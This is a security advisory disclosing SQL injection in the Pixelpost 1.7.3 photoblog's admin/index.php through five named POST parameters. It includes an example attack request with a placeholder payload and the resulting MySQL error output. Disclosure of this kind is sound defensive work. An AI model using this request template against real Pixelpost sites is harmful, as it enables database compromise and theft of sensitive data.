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Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability

Vendor: Pixelpost.org
Product web page: http://www.pixelpost.org
Affected version: 1.7.3

Summary: Pixelpost is an open-source, standards-compliant, multi-lingual,
fully extensible photoblog application for the web. Anyone who has web-space
that meets the requirements can download and use Pixelpost for free!

Desc: Pixelpost is vulnerable to an SQL Injection attack when input is passed
to several POST parameters (findfid, id, selectfcat, selectfmon, selectftag).
The script (admin/index.php) fails to properly sanitize the input before being
returned to the user allowing the attacker to compromise the entire DB system
and view sensitive information.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2011-4992
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4992.php


03.02.2011

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Vulnerable variables: 

- findfid
- id
- selectfcat
- selectfmon
- selectftag

Example:

POST /pixelpost_v1.7.3/admin/index.php?view=images HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 62
Cookie: PHPSESSID=9nqb5cbq1v4si85tidd4gas166;passwordbla=
Connection: Close
Pragma: no-cache

selectfcat=3&selectftag=1&selectfmon=1&findfid=1[SQLi]&findid=Go%21

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HTTP/1.1 200 OK

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' limit 0,1' at line 1.

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